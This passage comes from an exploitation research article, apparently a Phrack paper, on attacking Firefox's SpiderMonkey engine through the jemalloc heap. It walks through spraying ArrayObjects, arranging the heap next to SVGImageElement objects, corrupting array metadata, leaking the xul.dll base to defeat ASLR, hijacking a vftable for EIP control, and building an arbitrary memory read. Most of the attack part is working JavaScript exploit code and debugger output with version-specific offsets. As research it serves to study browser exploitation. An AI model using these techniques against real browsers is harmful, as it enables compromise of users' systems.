for similar purposes [P2O, REN]. However, as we have seen in section 2.1, the user-controllable content (data) of typed arrays and their metadata (like their length and their data pointer) are no longer contiguous in memory. On the other hand, I have found that ArrayObjects can be forced to place their metadata next to their data on the jemalloc heap and have the following helpful characteristics: 1) We can control their size to multiples of 8 bytes, and also have partial control of their contents, both due to the IEEE-754 64-bit jsval representation we have seen. 2) We can easily and controllably spray with ArrayObjects from JavaScript. 3) We can move the sprayed ArrayObjects to the jemalloc-managed heap after we fill the nursery. Since arrays are jsobjects, when they grow bigger they behave according to the way I have already described in section 2.3. ----[ 5.1 - ArrayObjects inside ArrayObjects Therefore, we spray ArrayObjects as elements of a container ArrayObject; when the container becomes large enough, the elements (which are themselves ArrayObjects) are moved to the jemalloc heap and bring with them their contents and metadata. At js/src/gc/Marking.cpp we can see this in the method js::TenuringTracer::moveElementsToTenured() -- excuse the annotated with comments pseudocode, see the actual source for the full details: /* * nslots here is equal to the capacity of the ArrayObject plus 2 * (ObjectElements::VALUES_PER_HEADER). */ size_t nslots = ObjectElements::VALUES_PER_HEADER + srcHeader->capacity; ... if (src->is<ArrayObject>() && nslots <= GetGCKindSlots(dstKind)) { /* * If this is an ArrayObject and nslots is less or equal * to 16 (GetGCKindSlots(dstKind)) there is no new allocation. */ ... return nslots * sizeof(HeapSlot); } ... /* * Otherwise there is a new allocation of size nslots that * goes on the jemalloc heap, the elements are copied, and the * elements_ pointer is set. */ dstHeader = \ reinterpret_cast<ObjectElements*>(zone->pod_malloc<HeapSlot>(nslots)); js_memcpy(dstHeader, srcHeader, nslots * sizeof(HeapSlot)); nursery().setElementsForwardingPointer(srcHeader, dstHeader, nslots); Let's revisit again the example from section 2.3 and present it in the context of moving ArrayObjects and their metadata to the jemalloc heap. ........................................................................... +-+ +-++-------+ +-----+ : |T| Temporary |A|| elems | ArrayObject | | Free : jemalloc | | object | || | + elements | | memory : +-----------+ +-+ +-++-------+ +-----+ : | +-------+ | ....................................................... : | | elems | | : | | | | Before minor GC : | +-------+ | --------------- : | ^ ^ | var A = new Array(); : | | | | +----+ : | | | | | var A[1] = new Array(); // a : | | | | | + +----------------+ | | Next free| | ... var A[15] = new Array(); // b | : | | | +---+ | | + | : | | | | | | | +---------------------+ : | | | v v v v | : | | | +-----------------------+ | +-----------------------+ : | | | |+-++-++-++-+ +-+ | |+-++-+ | : | | | ||T||T||A||a| ... |b|+-+ ||J||J| | : | | | || || || || | elems | | || || | | : | | | |+-++-++-++-+ +-+ |+-++-+ | : | | | +-----------------------+ +-----------------------+ : | | | Nursery + Tenured : | | | | : | | | | : | | | +------------+ : | | | | : | | | .....................................|................. : | | | | : | | | Next free | After minor GC : | | | +-----+ | -------------- : +-------|---+ | | : | v v : | +-----------------------+ +-----------------------+ : | | | |+-++-++-+ | : | | | ||J||J||A|+------------------------------+ | | || || || | | : elements_ pointer | | |+-++-++-+ | : +-----------------------+ +-----------------------+ : Nursery Tenured : ........................................................................... The above diagram describes what happens to the Firefox heaps when we run the following JavaScript code. We create a container ArrayObject; this is initially allocated on the nursery. This is A from above. var container = new Array(); As we add elements (ArrayObjects) to the container, a minor (nursery) garbage collection happens. We trigger this by filling the 16 MBs of the nursery with 66000 ArrayObjects of 30 elements each -- remember each element is 8 bytes (jsval), but the resulting ArrayObject of size 240 goes to the 256-sized jemalloc run (there are also the metadata). // 16777216 / 256 == 65536 var spray_size = 66000; The container ArrayObject (A) is moved from the nursery to the tenured heap. If (2 + capacity) >= 17, then each one of the ArrayObject elements of the container are re-allocated on the jemalloc heap. Since these are ArrayObjects, they have both contents and some metadata. The container remains on the tenured heap for the rest of its lifetime. for(var i = 0; i < spray_size; i++) { container[i] = new Array(); for(var j = 0; j < 30; j += 2) // 30 * 8 == 240 { container[i][j] = 0x45464645; container[i][j + 1] = 0x47484847; } } The careful reader would notice something here. The condition to move an object to the jemalloc heap depends on the object's capacity. This sets a limit to which jemalloc size categories can be used for our purpose, based on the object's initial capacity. If you dig SpiderMonkey's code you will find that an ArrayObject with an initlen of 1 (a[0] = "A" for example) has a capacity of 6. Therefore, to satisfy the moving condition we have to preclude some of the small jemalloc size categories. At this point let's use the shadow utility from within WinDBG to search the jemalloc heap for the content we have sprayed (edited for readability): 0:000> !py c:\\tmp\\pykd_driver jesearch -s 256 -c 45464645 [shadow] searching all current runs of size class 256 for 45464645 [shadow] found 45464645 at 0x141ad110 (run 0x141ad000, region 0x141ad100, region size 0256) [shadow] found 45464645 at 0x141ad120 (run 0x141ad000, region 0x141ad100, region size 0256) [shadow] found 45464645 at 0x141ad130 (run 0x141ad000, region 0x141ad100, region size 0256) 0:000> dd 141ad100 l?80 [ Metadata of a sprayed ArrayObject ] flags initlen capacity length 141ad100 00000000 0000001e 0000001e 0000001e [ Contents of the same sprayed ArrayObject ] 141ad110 45464645 ffffff81 47484847 ffffff81 141ad120 45464645 ffffff81 47484847 ffffff81 ... 141ad1e0 45464645 ffffff81 47484847 ffffff81 141ad1f0 45464645 ffffff81 47484847 ffffff81 [ Metadata of another sprayed ArrayObject] flags initlen capacity length 141ad200 00000000 0000001e 0000001e 0000001e [ and its data ] 141ad210 45464645 ffffff81 47484847 ffffff81 141ad220 45464645 ffffff81 47484847 ffffff81 0:000> !py c:\\tmp\\pykd_driver jeinfo 141ad200 [shadow] address 0x141ad200 ... [shadow] run 0x141ad000 is the current run of bin 0x00600608 [shadow] address 0x141ad200 belongs to region 0x141ad200 (size class 0256) We can see above that the ArrayObject elements of the container ArrayObject are indeed on the jemalloc heap and specifically on regions of size 256. Also, they are contiguous to each other. ----[ 5.2 - jemalloc feng shui Heap feng shui refers to the manipulation of a heap with the goal of carefully arranging it (with selected objects) towards aiding exploitation [FSJ]. Armed with the knowledge of the previous sections, we can now: 1) Move our ArrayObjects off the nursery and onto the jemalloc heap along with their metadata. 2) Poke holes in the jemalloc runs, and trigger a garbage collection to actually make these holes reclaimable by subsequent allocations. 3) Reclaim the holes (since jemalloc is LIFO) and create useful heap arrangements. Assuming we have a heap overflow vulnerability in a specific-sized DOM class, we can continue towards implementing our methodology. As an example, I will use a typical Firefox DOM class that has a vtable and can be allocated easily from JavaScript. Using shadow we can look for such a DOM class whose objects have a size of 256 bytes: 0:000> !py c:\\tmp\\pykd_driver symbol [shadow] usage: symbol [-vjdx] <size> [shadow] options: [shadow] -v only class symbols with vtable [shadow] -j only symbols from SpiderMonkey [shadow] -d only DOM symbols [shadow] -x only non-SpiderMonkey symbols 0:000> !py c:\\tmp\\pykd_driver symbol -dv 256 [shadow] searching for DOM class symbols of size 256 with vtable ... [shadow] 0x100 (256) class mozilla::dom::SVGImageElement (vtable: yes) Continuing from where we left off in section 5.1, after spraying the jemalloc heap with ArrayObjects, we free every second allocation to create holes. We also trigger a garbage collection to make these holes reclaimable. for(var i = 0; i < spray_size; i += 2) { delete(container[i]); container[i] = null; container[i] = undefined; } var gc_ret = trigger_gc(); We fill these holes with the example vulnerable object we have identified above, i.e. mozilla::dom::SVGImageElement. Our assumption is that we have a controlled (or semi-controlled) heap overflow in some method of this class. We can trigger it either after the instantiation of each object, or after the allocation of all objects on a specific one. for(var i = 0; i < spray_size; i += 2) { // SVGImageElement is a 0x100-sized object container[i] = \ document.createElementNS("http://www.w3.org/2000/svg", "image"); // trigger the overflow bug here in all allocations, e.g.: // container[i].some_vulnerable_method(); } // or, trigger the overflow bug here in a specific one, e.g.: // container[1666].some_vulnerable_method(); Using shadow as before we can search for the controlled sprayed content of the ArrayObjects and make sure that our heap arrangement has succeeded; that is we have ArrayObjects and SVGImageElement objects one after the other contiguously on the jemalloc heap. The jerun command outputs a textual visualization of the regions of the requested run; their index, whether allocated (used) or not, address, and a 4-byte preview of the content. 0:000> !py c:\\tmp\\pykd_driver jerun 0x15b11000 [shadow] searching for run 0x15b11000 [shadow] [run 0x15b11000] [size 016384] [bin 0x00600608] [region size 0256] [total regions 0063] [free regions 0000] [shadow] [region 000] [used] [0x15b11100] [0x0] [shadow] [region 001] [used] [0x15b11200] [0x69e0cf70] [shadow] [region 002] [used] [0x15b11300] [0x0] [shadow] [region 003] [used] [0x15b11400] [0x69e0cf70] ... Above we can see that the region at 15b11100 is the first region of the run, that it is allocated (used), and that its first 4 bytes are zero, corresponding to the flags of the ArrayObject. The next region at 15b11200 has a first dword of 69e0cf70, which is SVGImageElement's vftable pointer. Let's examine in more detail: 0:000> dd 15b11100 l?80 [ Metadata of ArrayObject at region 000 ] flags initlen capacity length 15b11100 00000000 0000001e 0000001e 0000001e [ Contents of the ArrayObject ] 15b11110 45464645 ffffff81 47484847 ffffff81 15b11120 45464645 ffffff81 47484847 ffffff81 ... 15b111d0 45464645 ffffff81 47484847 ffffff81 15b111e0 45464645 ffffff81 47484847 ffffff81 15b111f0 45464645 ffffff81 47484847 ffffff81 [ SVGImageElement object at region 001 ] 15b11200 69e0cf70 69e0eba0 1a590ea0 00000000 15b11210 11bfc830 00000000 00020008 00000000 15b11220 00000000 00000000 15b11200 00000000 15b11230 00000007 00000000 00090000 00000000 15b11240 69e0d1f4 00000000 00000000 00000000 15b11250 00000000 00000000 69e0bd38 00000000 ... [ The next ArrayObject starts here, region 002] flags initlen capacity length 15b11300 00000000 0000001e 0000001e 0000001e 15b11310 45464645 ffffff81 47484847 ffffff81 15b11320 45464645 ffffff81 47484847 ffffff81 ... [ The SVGImageElement object at region 003 ] 15b11400 69e0cf70 69e0eba0 1a590ea0 00000000 ... 0:000> dds 15b11200 15b11200 69e0cf70 xul!mozilla::dom::SVGImageElement::`vftable' We have indeed managed to arrange the heap the way we wanted. The next step is to search for the ArrayObject whose metadata we have corrupted via the assumed SVGImageElement overflow bug. The following code snippet assumes that we have overwritten all the metadata (16 bytes) and have used 0x666 as the new value for initlen, capacity and length. var pwned_index = 0; for(var i = 0; i < spray_size; i += 2) { if(container[i].length > 500) { var pwnstr = "[*] corrupted array found at index: " + i; log(pwnstr); pwned_index = i; break; } } Our corrupted ArrayObject now allows us to index the corresponding JavaScript array beyond its end, and into the neighboring SVGImageElement object. Since we have sprayed arrays of length 30 (0x1e), we can index into the first 8 bytes of the SVGImageElement object as a jsval of type double at index 30 (since at index 29 is the last element of the array). 0:000> dd 15b11300 l?80 [ Corrupted metadata of an ArrayObject ] flags initlen capacity length 15b11300 00000000 00000666 00000666 00000666 [ index 0 ] [ index 1 ] 15b11310 45464645 ffffff81 47484847 ffffff81 [ index 2 ] [ index 3 ] 15b11320 45464645 ffffff81 47484847 ffffff81 ... 15b113c0 45464645 ffffff81 47484847 ffffff81 15b113e0 45464645 ffffff81 47484847 ffffff81 [ index 28 ] [ index 29 ] 15b113f0 45464645 ffffff81 47484847 ffffff81 [ index 30 ] [ index 31 ] 15b11400 69e0cf70 69e0eba0 1a590ea0 00000000 15b11410 11bfc830 00000000 00020008 00000000 [ index 35 ] 15b11420 00000000 00000000 15b11400 00000000 15b11430 00000007 00000000 00090000 00000000 ... 15b114e0 e4000201 00000000 00000000 e4010301 15b114f0 06000106 00000001 00000000 e5e50000 0:000> g [*] corrupted array found at index: 31147 ----[ 5.3 - xul.dll base leak and our location in memory We can read from index 30 above, but remember that because we are using an array to do so, the two 32-bit values there are going to be treated as a double jsval (since the one 32-bit value that corresponds to the type of the 64-bit jsval is less than 0xFFFFFF80). Therefore, we need to implement two helper functions; one to read the 64-bit value as a double and convert it to the corresponding raw bytes (named double_to_bytes()), and one to convert the raw bytes to their hexadecimal representation (named bytes_to_hex()). Reading from index 30 gives us a vftable pointer of SVGImageElement and we simply need to subtract from it the known non-ASLRed pointer from xul.dll. var val_hex = \ bytes_to_hex(double_to_bytes(container[pwned_index][30])); var known_xul_addr = 0x121deba0; // 41.0.1 specific var leaked_xul_addr = parseInt(val_hex[1], 16); var aslr_offset = leaked_xul_addr - known_xul_addr; var xul_base = 0x10000000 + aslr_offset; var val_str = \ "[*] leaked xul.dll base address: 0x" + xul_base.toString(16); log(val_str); In the SVGImageElement object at address 15b11428 above, indexed with our corrupted array at index 35, there is a pointer to the start of the object itself (15b11400). Such pointers exist in most (if not all, I haven't checked them all automatically) Firefox DOM objects for garbage collection purposes. By leaking this address from index 35 of our corrupted array, we can learn the location of all these objects in the jemalloc heap. This can be very helpful for creating fake but valid objects (as we will doing in the sections below). val_hex = \ bytes_to_hex(double_to_bytes(container[pwned_index][35])); val_str = "[*] victim SVGImageElement object is at: 0x" + val_hex[0]; log(val_str); Again we use the two helper functions for reading double jsvals and converting them to hexadecimal. In WinDBG the output is (edited for readability): 0:000> g [*] corrupted array found at index: 31147 [*] leaked xul.dll base address: 0x67c30000 [*] victim SVGImageElement object is at: 0x15b11400 Breakpoint 0 hit eax=002cf801 ebx=1160b8b0 ecx=00000001 edx=00000002 esi=697f1386 edi=00000000 eip=697f1386 esp=0038cce0 ebp=0038cd6c iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 xul!js::math_asin: 697f1386 push ebp 0:000> lm m xul start end module name 67c30000 6a162000 xul Indeed we can verify with WinDBG's lm command that we have leaked the base of xul.dll correctly. Also we now know the address of our victim SVGImageElement object. The complete code for this is in file 'svg-leak.html' in the archive. ----[ 5.4 - EIP control Our corrupted ArrayObject can of course also be used for writing memory. In order to get EIP control, we can simply overwrite a vftable pointer of the SVGImageElement object and then call one of its methods. The exact values we have to add to or subtract from the leaked SVGImageElement object address depend on the method we are calling (and the version of xul.dll). var obj_addr = \ parseInt(val_hex[0], 16); // our location in memory, see above var deref_addr = obj_addr - 0x1f4 + 0x4; // 41.0.1 specific var target_eip = "41424344"; var write_val_bytes = \ hex_to_bytes(target_eip + deref_addr.toString(16)); var write_val_double = bytes_to_double(write_val_bytes); container[pwned_index][30] = write_val_double; log("[*] calling a method of the corrupted SVGImageElement object"); for(var i = 0; i < spray_size; i += 2) { container[i].setAttribute("height", "100"); } Since we don't know the exact index of SVGImageElement object we have corrupted, we call a method of all the objects we have sprayed. After we have overwritten SVGImageElement's vftable, in WinDBG the situation looks like the following: 0:000> dd 15b11300 l?80 [ Corrupted metadata of an ArrayObject ] flags initlen capacity length 15b11300 00000000 00000666 00000666 00000666 [ index 0 ] [ index 1 ] 15b11310 45464645 ffffff81 47484847 ffffff81 [ index 2 ] [ index 3 ] 15b11320 45464645 ffffff81 47484847 ffffff81 ... 15b113c0 45464645 ffffff81 47484847 ffffff81 15b113e0 45464645 ffffff81 47484847 ffffff81 [ index 28 ] [ index 29 ] 15b113f0 45464645 ffffff81 47484847 ffffff81 [ index 30 ] [ index 31 ] 15b11400 15b11210 41424344 1a590ea0 00000000 15b11410 11bfc830 00000000 00020008 00000000 [ index 35 ] 15b11420 00000000 00000000 15b11400 00000000 15b11430 00000007 00000000 00090000 00000000 ... 15b114e0 e4000201 00000000 00000000 e4010301 15b114f0 06000106 00000001 00000000 e5e50000 0:000> g [*] calling a method of the corrupted SVGImageElement object (1084.a60): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=15b11210 ebx=00000001 ecx=15b11400 edx=00000006 esi=1160b8b0 edi=15b11400 eip=41424344 esp=0032d2f0 ebp=0032d520 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41424344 je 41424346 [br=1] We have EIP control, know the base of xul.dll, and can place arbitrary content on the heap at known addresses, therefore it is quite simple at this point to ROP our way to whatever makes us happy. See the file 'svg-eip-control.html' for the complete code. ----[ 5.5 - Arbitrary memory leak Although we have achieved total control over the Firefox process, let's look at something that requires more fine-grained control over the jemalloc heap. To demonstrate how jemalloc can be manipulated in detail, I will be describing how we can achieve the ability to read any number of bytes from any address we choose, i.e. an arbitrary memory leak. For this purpose I will be using a constructed (i.e. fake) non-inline string. In order to be able to read back from this fake string, I will also need to create a fake string-type jsval that points to the fake non-inline string, and index this jsval via the corrupted ArrayObject. The problem with this approach is that the corrupted ArrayObject cannot be used to write a fake string-type jsval (or any other jsval); remember that there is no IEEE-754 64-bit double that corresponds to a 32-bit encoded value greater than 0xFFF00000. This is required since in order to create a fake jsval string we need to write ffffff85 as its tag value (see the discussion on strings in section 2.1 if you are confused at this point). So, we need to find another way to construct a fake string-type jsval in controlled memory. What we can use is the reliability and the LIFO operation of jemalloc to create a more complex heap arrangement that will help us solve this problem. Specifically, I will add typed arrays to the methodology to utilize their fully controlled content. Although, as we have seen, I cannot place the metadata of a typed array in memory reachable by user-controlled data, the actual data of a typed array (which are controlled to byte granularity) can be placed on jemalloc runs. We start by spraying with ArrayObjects the 256-sized jemalloc runs. Again, we have to bypass the nursery and move our objects to jemalloc, so the size of our spray is 16777216 / 256 == 65536 arrays. var spray_size = 66000; var container = new Array(); for(var i = 0; i < spray_size; i++) { container[i] = new Array(); for(var j = 0; j < 30; j += 2) // 30 * 8 == 240 bytes { container[i][j] = 0x45464645; container[i][j + 1] = 0x47484847; } } This time, instead of creating a hole every other allocation, we create two holes for every ArrayObject we leave on the jemalloc heap. We also trigger a GC to make the holes reclaimable. for(var i = 0; i < spray_size; i += 3) { delete(container[i]); container[i] = null; container[i] = undefined; delete(container[i + 1]); container[i + 1] = null; container[i + 1] = undefined; } var gc_ret = trigger_gc(); Let's assume at this point that we have a breakpoint and look at how the jemalloc 256-sized runs look like: 0:043> !py c:\tmp\pykd_driver jeruns -s 256 [shadow] listing allocated non-current runs for size class 256 [shadow] [total non-current runs 446] [shadow] [run 0x0e507000] [size 016384] [bin 0x00700608] [region size 0256] [total regions 0063] [free regions 0000] ... [shadow] [run 0x11d03000] [size 016384] [bin 0x00700608] [region size 0256] [total regions 0063] [free regions 0042] [shadow] [run 0x15f09000] [size 016384] [bin 0x00700608] [region size 0256] [total regions 0063] [free regions 0042] [shadow] [run 0x15f0d000] [size 016384] [bin 0x00700608] [region size 0256] [total regions 0063] [free regions 0042] [shadow] [run 0x15f11000] [size 016384] [bin 0x00700608] [region size 0256] [total regions 0063] [free regions 0042] [shadow] [run 0x15f15000] [size 016384] [bin 0x00700608] [region size 0256] [total regions 0063] [free regions 0042] [shadow] [run 0x15f19000] [size 016384] [bin 0x00700608] [region size 0256] [total regions 0063] [free regions 0042] ... Looking at one of these runs (in random) with shadow we see: 0:000> !py c:\tmp\pykd_driver jerun 0x15f15000 [shadow] searching for run 0x15f15000 [shadow] [run 0x15f15000] [size 016384] [bin 0x00700608] [region size 0256] [total regions 0063] [free regions 0042] [shadow] [region 000] [free] [0x15f15100] [0xe5e5e5e5] [shadow] [region 001] [free] [0x15f15200] [0xe5e5e5e5] [shadow] [region 002] [used] [0x15f15300] [0x0] [shadow] [region 003] [free] [0x15f15400] [0xe5e5e5e5] [shadow] [region 004] [free] [0x15f15500] [0xe5e5e5e5] [shadow] [region 005] [used] [0x15f15600] [0x0] [shadow] [region 006] [free] [0x15f15700] [0xe5e5e5e5] [shadow] [region 007] [free] [0x15f15800] [0xe5e5e5e5] [shadow] [region 008] [used] [0x15f15900] [0x0] [shadow] [region 009] [free] [0x15f15a00] [0xe5e5e5e5] [shadow] [region 010] [free] [0x15f15b00] [0xe5e5e5e5] ... Our hole punching has worked. Remember that e5e5e5e5 is the value used by Firefox for the sanitization of freed jemalloc regions. The used regions with the value 0x0 as their first dword are the ArrayObjects we have left on the heap. We now reclaim these holes on the jemalloc heap with one SVGImageElement object and one Uint32Array typed array after each ArrayObject. We make sure the content of this typed array is of size 256 bytes so it goes on the jemalloc run we are targeting. At this point the actual content of the typed array doesn't matter. for(var i = 0; i < spray_size; i += 3) { container[i] = \ document.createElementNS("http://www.w3.org/2000/svg", "image"); container[i + 1] = new Uint32Array(64); for(var j = 0; j < 64; j++) // 64 * 4 == 256 { container[i + 1][j] = 0x51575751; } } Now, the same run from above looks like: 0:000> !py c:\tmp\pykd_driver jerun 0x15f15000 [shadow] searching for run 0x15f15000 [shadow] [run 0x15f15000] [size 016384] [bin 0x00700608] [region size 0256] [total regions 0063] [free regions 0000] [shadow] [region 000] [used] [0x15f15100] [0x69e0cf70] [shadow] [region 001] [used] [0x15f15200] [0x51575751] [shadow] [region 002] [used] [0x15f15300] [0x0] [shadow] [region 003] [used] [0x15f15400] [0x69e0cf70] [shadow] [region 004] [used] [0x15f15500] [0x51575751] [shadow] [region 005] [used] [0x15f15600] [0x0] [shadow] [region 006] [used] [0x15f15700] [0x69e0cf70] [shadow] [region 007] [used] [0x15f15800] [0x51575751] [shadow] [region 008] [used] [0x15f15900] [0x0] [shadow] [region 009] [used] [0x15f15a00] [0x69e0cf70] [shadow] [region 010] [used] [0x15f15b00] [0x51575751] ... [shadow] [region 014] [used] [0x15f15f00] [0x0] [shadow] [region 015] [used] [0x15f16000] [0x69e0cf70] [shadow] [region 016] [used] [0x15f16100] [0x51575751] 0:000> dd 0x15f15f00 l?90 [ ArrayObject ] 15f15f00 00000000 0000001e 0000001e 0000001e 15f15f10 45464645 ffffff81 47484847 ffffff81 15f15f20 45464645 ffffff81 47484847 ffffff81 15f15f30 45464645 ffffff81 47484847 ffffff81 15f15f40 45464645 ffffff81 47484847 ffffff81 15f15f50 45464645 ffffff81 47484847 ffffff81 15f15f60 45464645 ffffff81 47484847 ffffff81 15f15f70 45464645 ffffff81 47484847 ffffff81 15f15f80 45464645 ffffff81 47484847 ffffff81 15f15f90 45464645 ffffff81 47484847 ffffff81 15f15fa0 45464645 ffffff81 47484847 ffffff81 15f15fb0 45464645 ffffff81 47484847 ffffff81 15f15fc0 45464645 ffffff81 47484847 ffffff81 15f15fd0 45464645 ffffff81 47484847 ffffff81 15f15fe0 45464645 ffffff81 47484847 ffffff81 15f15ff0 45464645 ffffff81 47484847 ffffff81 [ SVGImageElement ] 15f16000 69e0cf70 69e0eba0 1652da20 00000000 15f16010 0d863c90 00000000 00020008 00000000 15f16020 00000000 00000000 15f16000 00000000 15f16030 00000007 00000000 00090000 00000000 15f16040 69e0d1f4 00000000 00000000 00000000 15f16050 00000000 00000000 69e0bd38 00000000 15f16060 69f680d4 e5e50000 69f680d4 e5e50000 15f16070 69f680d4 e5e50100 00000000 e5e5e5e5 15f16080 69e0c9d8 69e0c24c 00000000 00000000 15f16090 00000000 00000000 00000000 00000000 15f160a0 00000000 e5e5e5e5 00000000 00000000 15f160b0 00890001 e5000000 00000000 e5e5e5e5 15f160c0 00000000 00000000 e4000001 00000000 15f160d0 00000000 e4010101 00000000 00000000 15f160e0 e4000201 00000000 00000000 e4010301 15f160f0 06000106 00000001 00000000 e5e50000 [ Uint32Array contents ] 15f16100 51575751 51575751 51575751 51575751 15f16110 51575751 51575751 51575751 51575751 15f16120 51575751 51575751 51575751 51575751 15f16130 51575751 51575751 51575751 51575751 ... We have managed to create the arrangement we require; we have one ArrayObject (with its metadata and jsval contents), followed by an SVGImageElement object, followed by the contents of a Uint32Array. If we look at some other runs (of our targeted size, 256) we may see that in some of them the arrangement has not succeeded. That is the ArrayObject is followed by a Uint32Array, which is then followed by an SVGImageElement object. This happens sometimes, but it doesn't really affect us. As long as there is one run on which our arrangement has worked, our methodology can be applied. Below I will explain why some runs with incorrect arrangement do not pose a problem; just keep it in mind in case you have seen it with shadow and you are wondering. Next we proceed with triggering our assumed heap overflow bug in an SVGImageElement method. This allows us to overwrite data from the SVGImageElement object onto the ArrayObject we placed after it (and of course the in-between Uint32Array in this case). We then locate the pwned ArrayObject as we did in section 5.2, and use it to leak our location in memory as we did in 5.3 (see file 'arbitrary-leak.html' in the archive for the complete code). We can now focus on transforming our relative leak to an arbitrary leak. Since we know the address of the SVGImageElement object, we can calculate the address of the neighboring Uint32Array; it is 0x100 bytes after it. We can then create our fake string-type jsval at the beginning of every Uint32Array we have sprayed. This fake jsval will point 0x10 bytes after the start of the Uint32Array. There we will create a fake non-inline string with the arbitrary address we want to leak from. The JavaScript code for all these is the following: // this is the leaked address of the SVGImageElement object var obj_addr = parseInt(val_hex[0], 16); // where we will place our fake non-inline string var fake_jsstring_addr = obj_addr + 0x110; // create a fake string-type jsval at the start // of each sprayed Uint32Array object for(var i = 0; i < spray_size; i += 3) { container[i + 1][0] = fake_jsstring_addr; container[i + 1][1] = 0xffffff85; } // at obj_addr + 0x110, which corresponds to [64] and [65], // we create a fake non-inline string var read_len = "00000002"; // fake string size write_val_bytes = hex_to_bytes(read_len + "00000049"); write_val_double = bytes_to_double(write_val_bytes); container[pwned_index][64] = write_val_double; // we use the base of xul.dll as the arbitrary address to // read from, since we know that the first two bytes there // are "MZ" in ASCII var read_addr = xul_base.toString(16); write_val_bytes = hex_to_bytes("00000000" + read_addr); write_val_double = bytes_to_double(write_val_bytes); container[pwned_index][65] = write_val_double; // let's read from our fake string, it is at index [62] var leaked = "[*] leaked: " + container[pwned_index][62]; log(leaked); The actual objects in memory after the execution of the above code are: 0:000> dd 0x15f15f00 l?90 [ Our corrupted ArrayObject ] 15f15f00 00000000 00000666 00000666 00000666 15f15f10 45464645 ffffff81 47484847 ffffff81 15f15f20 45464645 ffffff81 47484847 ffffff81 15f15f30 45464645 ffffff81 47484847 ffffff81 15f15f40 45464645 ffffff81 47484847 ffffff81 15f15f50 45464645 ffffff81 47484847 ffffff81 15f15f60 45464645 ffffff81 47484847 ffffff81 15f15f70 45464645 ffffff81 47484847 ffffff81 15f15f80 45464645 ffffff81 47484847 ffffff81 15f15f90 45464645 ffffff81 47484847 ffffff81 15f15fa0 45464645 ffffff81 47484847 ffffff81 15f15fb0 45464645 ffffff81 47484847 ffffff81 15f15fc0 45464645 ffffff81 47484847 ffffff81 15f15fd0 45464645 ffffff81 47484847 ffffff81 15f15fe0 45464645 ffffff81 47484847 ffffff81 15f15ff0 45464645 ffffff81 47484847 ffffff81 [ Our SVGImageElement object ] 15f16000 69e0cf70 69e0eba0 1652da20 00000000 15f16010 0d863c90 00000000 00020008 00000000 15f16020 00000000 00000000 15f16000 00000000 15f16030 00000007 00000000 00090000 00000000 15f16040 69e0d1f4 00000000 00000000 00000000 15f16050 00000000 00000000 69e0bd38 00000000 15f16060 69f680d4 e5e50000 69f680d4 e5e50000 15f16070 69f680d4 e5e50100 00000000 e5e5e5e5 15f16080 69e0c9d8 69e0c24c 00000000 00000000 15f16090 00000000 00000000 00000000 00000000 15f160a0 00000000 e5e5e5e5 00000000 00000000 15f160b0 00890001 e5000000 00000000 e5e5e5e5 15f160c0 00000000 00000000 e4000001 00000000 15f160d0 00000000 e4010101 00000000 00000000 15f160e0 e4000201 00000000 00000000 e4010301 15f160f0 06000106 00000001 00000000 e5e50000 [ The contents of our Uint32Array ] [ string jsval ] 15f16100 15f16110 ffffff85 51575751 51575751 [ fake non-inline string ] [ size ] [ addr ] 15f16110 00000049 00000002 67c30000 00000000 15f16120 51575751 51575751 51575751 51575751 15f16130 51575751 51575751 51575751 51575751 The output in WinDBG is: [*] corrupted array found at index: 25649 [*] leaked xul.dll base address: 0x67c30000 [*] victim SVGImageElement object is at: 0x15f16000 [*] leaked: MZ Since we used the address of the base of xul.dll (we previously leakd) as the arbitrary address to leak from, we get back "MZ" as we expected. At this point it should be clear why it doesn't matter if the heap arrangement didn't succeed in some jemalloc runs. We can keep trying to leak via our fake string jsvals that we placed in the beginning of all sprayed Uint32Arrays. We will only get back the expected "MZ" value from a jsval on a run that the heap arrangement succeeded. On runs that the arrangement didn't work (that is the Uint32Array is before the SVGImageElement object), trying to access index 62 (where we expect our fake string jsval to be) would simply return a double due to the two dwords there being interpreted as an IEEE-754 jsval without a tag. This doesn't attempt to do dereference anything, therefore no crash can happen. When we finally get back the "MZ" value, we can re-use our fake string jsval to leak from whatever address we want. // now we can re-use the fake string-type jsval // to leak from another location read_addr = "cafebabe"; // crash to demonstrate write_val_bytes = hex_to_bytes("00000000" + read_addr); write_val_double = bytes_to_double(write_val_bytes); container[pwned_index][65] = write_val_double; leaked = "[*] leaked: " + container[pwned_index][62]; log(leaked); Our Uint32Array now looks like: [ The contents of our Uint32Array ] [ string jsval ] 15f16100 15f16110 ffffff85 51575751 51575751 [ fake non-inline string ] [ size ] [ addr ] 15f16110 00000049 00000002 cafebabe 00000000 15f16120 51575751 51575751 51575751 51575751 15f16130 51575751 51575751 51575751 51575751 Trying to read from address cafebabe leads of course to a crash (just to demonstrate): 0:000> g (858.f68): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=cafebac0 ebx=00000000 ecx=133bb7f4 edx=00000000 esi=00000002 edi=133bb7e0 eip=67df0192 esp=003ad120 ebp=cafebabe iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 xul!js::ConcatStrings<0>+0x178: 67df0192 mov al,byte ptr [ebp] ss:002b:cafebabe=?? We finally have a re-usable arbitrary leak primitive and we also know the base of xul.dll. We can dynamically search for ROP gadgets and construct our ROP chain at exploit runtime in JavaScript. ----[ 5.6 - Use-after-free bugs Exploiting use-after-free bugs with the presented methodology is a matter of reclaiming the jemalloc region left by the freed object with a typed array (Uint32Array). Then we use the fake object's methods to overwrite the metadata of a neighboring sprayed ArrayObject, and we apply the given methodology. --[ 6 - Conclusion Greetz and thankz to the Phrack Staff for bugging me to write this and for their very helpful review ;) The Immunity team during my dry run for Infiltrate also provided insightful comments. Finally, bro sups to huku, nemo, the CENSUS crew and all the !fapperz. --[ 7 - References [INF] OR'LYEH? The Shadow over Firefox - http://web.archive.org/web/20150403070544/http://infiltratecon.com/ speakers.html#firefox [JSV] JS::Value - https://developer.mozilla.org/en-US/docs/Mozilla/Projects/ SpiderMonkey/JSAPI_Reference/JS::Value [IFP] IEEE Standard for Floating-Point Arithmetic (IEEE-754) - http://en.wikipedia.org/wiki/IEEE_floating_point [JSO] JSObject - https://developer.mozilla.org/en-US/docs/Mozilla/Projects/ SpiderMonkey/JSAPI_reference/JSObject [P2O] Advanced 